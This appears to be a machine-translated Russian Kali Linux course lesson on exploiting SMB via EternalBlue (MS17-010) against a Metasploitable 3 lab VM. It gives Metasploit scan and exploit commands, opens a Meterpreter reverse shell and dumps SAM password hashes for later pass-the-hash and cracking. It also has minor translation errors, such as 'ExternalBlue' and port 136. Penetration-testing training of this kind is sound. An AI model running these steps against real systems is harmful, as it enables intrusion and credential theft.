Курс Ultimate Kali Linux — #75 Использование SMB в Microsoft Windows
Здравствуйте, дорогие друзья.
SMB — это стандартная сетевая служба, которая используется во многих клиентских и серверных системах в организации. Она позволяет хостам удалённо обмениваться файлами и получать к ним доступ через протокол TCP/IP.
Как и во многих компаниях, этот сетевой протокол обеспечивает удобство для пользователей, которые обмениваются файлами с другими пользователями в рамках организации. Однако за прошедшие годы многие злоумышленники и специалисты по кибербезопасности обнаружили различные уязвимости в протоколе SMB. Некоторые из них привели к крупным кибератакам по всему миру, которые затронули многие организации.
В следующих разделах мы рассмотрим, как использовать Kali Linux в качестве инструмента злоумышленника для обнаружения и использования уязвимостей в протоколе SMB уязвимой системы. Для этой цели мы будем использовать Metasploitable 3, который будет имитировать уязвимый компьютер под управлением Windows в сети организации.
В 2017 году киберпреступники запустили одну из самых известных программ-вымогателей в интернете, которая затронула множество систем Microsoft Windows по всему миру. Эта программа известна как WannaCry.
WannaCry использовала уязвимость в системе безопасности операционных систем Windows, работающих под управлением SMB версии 1. Согласно бюллетеню Microsoft по безопасности MS17-010, эта уязвимость затронула системы от Windows Vista до Windows Server 2016.
Поскольку уязвимость позволяла злоумышленникам выполнять удалённое выполнение кода (RCE), ей было присвоено кодовое название EternalBlue. Хотя на момент написания статьи уязвимость EternalBlue кажется устаревшей, во многих организациях по всему миру всё ещё есть множество уязвимых операционных систем Windows.
Важное дополнение
Для получения дополнительной информации о проблеме безопасности SMB, упомянутой в бюллетене Microsoft по безопасности MS17-010, перейдите по ссылке:
https://docs.microsoft.com/ru-ru/security-updates/security-bulletins/2017/ms17-010
В этом упражнении мы рассмотрим, как определить, функционирует ли целевая система под управлением SMB и насколько она уязвима для EternalBlue.
Для выполнения этого задания следуйте инструкциям:
- Запустите обе виртуальные машины Kali Linux (злоумышленник) и Metasploitable 3 (цель) и убедитесь, что у каждой из них есть прямое подключение.
- В Kali Linux откройте терминал и используйте Nmap, чтобы проверить, открыты ли порты 136, 137, 138, 139 и 445 в Metasploitable 3.
1 |
kali@kali:~$ nmap -p 136-139,445 172.30.1.21 |
На скриншоте видно, что в системе открыты порты 136–139 и 445. Это может говорить о том, что, вероятно, работает протокол SMB.

3 . Затем используйте следующую команду, чтобы запустить Metasploit в Kali Linux:
1 |
kali@kali:~$ msfconsole |
4. Использование команды «поиск» с ms17-010 ключевое слово для поиска каких-то близким модули:
1 |
msf6 > search ms17-010 |
Как показано на следующем снимке экрана, проекта Metasploit возвращает несколько вспомогательных и эксплуатировать модули:

Теперь давайте применим вспомогательный модуль сканирования, чтобы выяснить, подвержена ли цель атаке EternalBlue. Прежде чем запустить эксплойт, выполним следующие команды:
1 2 3 4 |
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 172.30.1.21 msf6 auxiliary(scanner/smb/smb_ms17_010) > run |
На следующем изображении видно, что Metasploit дал положительный результат, предположив, что цель, вероятно, подвержена уязвимости MS17 \ -010.

В качестве альтернативы можно применить следующую команду для активации режима использования, как это было в предыдущем случае.
1 |
msf6 > use exploit/windows/smb/ms17_010_eternalblue |
После того как вы выберете эксплойт для Windows, связанный с уязвимостью MS17-010 EternalBlue, модуль Metasploit автоматически установит соединение с Windows и запустит Meterpreter.
В качестве полезной нагрузки вместо модуля укажите эксплойт. Это означает, что как только эксплойт будет доставлен цели, он начнёт выполняться в её памяти, чтобы использовать преимущества SMB версии 1.
Если эксплойт будет успешным, Metasploit отправит полезную нагрузку цели, которая будет выполнена в памяти. Затем будет создана обратная оболочка, которая будет отправлена обратно на нашу машину Kali Linux.
Подсказка
При работе с модулем в Metasploit используйте команду options
чтобы проверить, нужно ли устанавливать различные параметры для модуля, такие как RHOSTS (цель) и LHOST (машина злоумышленника).
- Далее необходимо выполнить следующие действия: настроить RHOSTS (цель), LHOST (Kali Linux) и запустить атаку.
После того как эксплойт и полезная нагрузка успешно сработают на цели, вы получите оболочку Meterpreter.
С помощью Meterpreter вы можете выполнять различные действия, для чего нужно ввести команду help.
Используя Meterpreter, вы можете удалённо выполнять команды в целевой системе со своего компьютера Kali Linux.
- Используйте команду hashdump в вашей командной строке Meterpreter для сброса содержимого файла Security Account Manager (SAM) . Убедитесь, что вы указали имена пользователей и хэши паролей всех локальных пользователей в целевой системе Windows:
1 |
meterpreter > hashdump |
Файл SAM в операционных системах Windows можно найти в каталоге C:\ WINDOWS \ system32 \ config . На следующем скриншоте показан результат после выполнения команды hashdump в Meterpreter:

Как видно на предыдущем скриншоте, вы можете получить имена пользователей, а также хэшированные пароли LM и NTLM. В SAM учётные данные пользователей хранятся в следующем виде:
1 2 |
Username : Security Identifier (SID) : LM hash : NTLM hash |
9 . Сохраните весь вывод команды hashdump в текстовом файле с именем passwordhashes.txt. В следующем разделе вы узнаете, как выполнить автономный взлом
хэшей паролей внутри этого файла.
10 . Кроме того, сохраните данные учетной записи администратора, такие как имя пользователя и Хэши LM и NTLM, в текстовый файл . Мы будем использовать это в разделе «Передача хэша», далее в этой главе:
1 2 |
Administrator:aad3b435b51404eeaad3b435b51404ee: e02bc503339d51f71d913c245d35b50b |
11. Чтобы определить тип хэша, используйте команду hashid <значение хэша > в Kali Linux:

Как видно из предыдущего изображения, идентификатор хэша смог определить хэш, созданный с использованием различных алгоритмов хэширования. Однако он также сообщил, что это хэш NTLM.
Совет
Чтобы отправить сеанс Meterpreter в фоновый режим, не прерывая его, используйте
команду background\ . Чтобы просмотреть все активные сеансы в Metasploit,
используйте команду sessions. Чтобы взаимодействовать с конкретным сеансом, используйте команду session –i <session-ID>.
В операционной системе Microsoft Windows пароли локальных пользователей не хранятся в открытом виде. Вместо этого они преобразуются в криптографические дайджесты с помощью алгоритма хэширования NTLM. Этот процесс необратим.
Хэш пароля, полученный с помощью NTLM, хранится в файле SAM для каждой локальной учётной записи пользователя.
В этом упражнении вы узнали, как можно скомпрометировать целевую операционную систему Windows, которая уязвима к уязвимости ExternalBlue. Также вы узнали, как получить доступ к содержимому файлов SAM, хранящихся в операционных системах Microsoft Windows. Эти хэши паролей могут быть использованы в атаке, известной как передача хэша.
Далее вы узнаете, как выполнить автономную атаку на администратора с целью получения пароля.

На этом все. Всем хорошего дня!